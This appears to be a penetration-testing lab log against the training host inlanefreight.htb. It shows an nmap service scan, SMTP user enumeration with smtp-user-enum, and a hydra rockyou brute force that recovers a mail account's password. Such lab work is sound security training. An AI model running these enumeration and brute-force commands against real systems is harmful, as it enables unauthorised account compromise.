NMAP
┌──(root㉿kali)-[~]
└─# nmap -sC -sV -T4 -p- 10.129.184.202
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-23 11:07 EDT
Nmap scan report for inlanefreight.htb (10.129.184.202)
Host is up (0.046s latency).
Not shown: 65528 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp
|_ssl-date: 2024-08-23T15:10:32+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Test/organizationName=Testing/stateOrProvinceName=FL/countryName=US
| Not valid before: 2022-04-21T19:27:17
|_Not valid after: 2032-04-18T19:27:17
| fingerprint-strings:
| GenericLines:
| 220 Core FTP Server Version 2.0, build 725, 64-bit Unregistered
| Command unknown, not supported or not allowed...
| Command unknown, not supported or not allowed...
| Help:
| 220 Core FTP Server Version 2.0, build 725, 64-bit Unregistered
| 214-The following commands are implemented
| USER PASS ACCT QUIT PORT RETR
| STOR DELE RNFR PWD CWD CDUP
| NOOP TYPE MODE STRU
| LIST NLST HELP FEAT UTF8 PASV
| MDTM REST PBSZ PROT OPTS CCC
| XCRC SIZE MFMT CLNT ABORT
| HELP command successful
| NULL:
|_ 220 Core FTP Server Version 2.0, build 725, 64-bit Unregistered
25/tcp open smtp hMailServer smtpd
| smtp-commands: WIN-EASY, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp open http Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/7.4.29)
|_http-server-header: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29
| http-title: Welcome to XAMPP
|_Requested resource was http://inlanefreight.htb/dashboard/
443/tcp open ssl/https
| ssl-cert: Subject: commonName=Test/organizationName=Testing/stateOrProvinceName=FL/countryName=US
| Not valid before: 2022-04-21T19:27:17
|_Not valid after: 2032-04-18T19:27:17
|_ssl-date: 2024-08-23T15:10:32+00:00; +1s from scanner time.
587/tcp open smtp hMailServer smtpd
| smtp-commands: WIN-EASY, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
3306/tcp open mysql MySQL 5.5.5-10.4.24-MariaDB
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.4.24-MariaDB
| Thread ID: 10
| Capabilities flags: 63486
| Some Capabilities: DontAllowDatabaseTableColumn, FoundRows, Support41Auth, Speaks41ProtocolOld, SupportsTransactions, Speaks41ProtocolNew, ConnectWithDatabase, LongColumnFlag, InteractiveClient, IgnoreSigpipes, SupportsLoadDataLocal, ODBCClient, IgnoreSpaceBeforeParenthesis, SupportsCompression, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
| Status: Autocommit
| Salt: 3IX[Cz`OMrw"=KDSR%](
|_ Auth Plugin Name: mysql_native_password
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: WIN-EASY
| NetBIOS_Domain_Name: WIN-EASY
| NetBIOS_Computer_Name: WIN-EASY
| DNS_Domain_Name: WIN-EASY
| DNS_Computer_Name: WIN-EASY
| Product_Version: 10.0.17763
|_ System_Time: 2024-08-23T15:10:16+00:00
| ssl-cert: Subject: commonName=WIN-EASY
| Not valid before: 2024-08-22T15:03:10
|_Not valid after: 2025-02-21T15:03:10
|_ssl-date: 2024-08-23T15:10:31+00:00; 0s from scanner time.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94SVN%I=7%D=8/23%Time=66C8A615%P=x86_64-pc-linux-gnu%r(N
SF:ULL,41,"220\x20Core\x20FTP\x20Server\x20Version\x202\.0,\x20build\x2072
SF:5,\x2064-bit\x20Unregistered\r\n")%r(GenericLines,AD,"220\x20Core\x20FT
SF:P\x20Server\x20Version\x202\.0,\x20build\x20725,\x2064-bit\x20Unregiste
SF:red\r\n502\x20Command\x20unknown,\x20not\x20supported\x20or\x20not\x20a
SF:llowed\.\.\.\r\n502\x20Command\x20unknown,\x20not\x20supported\x20or\x2
SF:0not\x20allowed\.\.\.\r\n")%r(Help,17B,"220\x20Core\x20FTP\x20Server\x2
SF:0Version\x202\.0,\x20build\x20725,\x2064-bit\x20Unregistered\r\n214-The
SF:\x20following\x20commands\x20are\x20implemented\r\n\x20\x20\x20\x20\x20
SF:USER\x20\x20PASS\x20\x20ACCT\x20\x20QUIT\x20\x20PORT\x20\x20RETR\r\n\x2
SF:0\x20\x20\x20\x20STOR\x20\x20DELE\x20\x20RNFR\x20\x20PWD\x20\x20\x20CWD
SF:\x20\x20\x20CDUP\r\n\x20\x20\x20\x20\x20MKD\x20\x20\x20RMD\x20\x20\x20N
SF:OOP\x20\x20TYPE\x20\x20MODE\x20\x20STRU\r\n\x20\x20\x20\x20\x20LIST\x20
SF:\x20NLST\x20\x20HELP\x20\x20FEAT\x20\x20UTF8\x20\x20PASV\r\n\x20\x20\x2
SF:0\x20\x20MDTM\x20\x20REST\x20\x20PBSZ\x20\x20PROT\x20\x20OPTS\x20\x20CC
SF:C\r\n\x20\x20\x20\x20\x20XCRC\x20\x20SIZE\x20\x20MFMT\x20\x20CLNT\x20\x
SF:20ABORT\r\n214\x20\x20HELP\x20command\x20successful\r\n");
Service Info: Host: WIN-EASY; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 208.98 seconds
┌──(root㉿kali)-[~/cpts/attacking-common/mail]
└─# smtp-user-enum -M RCPT -U users.list -D inlanefreight.htb -t 10.129.184.202
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... RCPT
Worker Processes ......... 5
Usernames file ........... users.list
Target count ............. 1
Username count ........... 79
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ inlanefreight.htb
######## Scan started at Fri Aug 23 11:16:08 2024 #########
10.129.184.202: fiona@inlanefreight.htb exists
######## Scan completed at Fri Aug 23 11:16:11 2024 #########
1 results.
┌──(root㉿kali)-[~]
└─# hydra -l fiona@inlanefreight.htb -P /usr/share/wordlists/rockyou.txt smtp://inlanefreight.htb -t 40 -
s -vvv
Hydra v9.6dev (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-23 11:45:37
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 40 tasks per 1 server, overall 40 tasks, 14344399 login tries (l:1/p:14344399), ~358610 tries per task
[DATA] attacking smtp://inlanefreight.htb:25/
[25][smtp] host: inlanefreight.htb login: fiona@inlanefreight.htb password: 987654321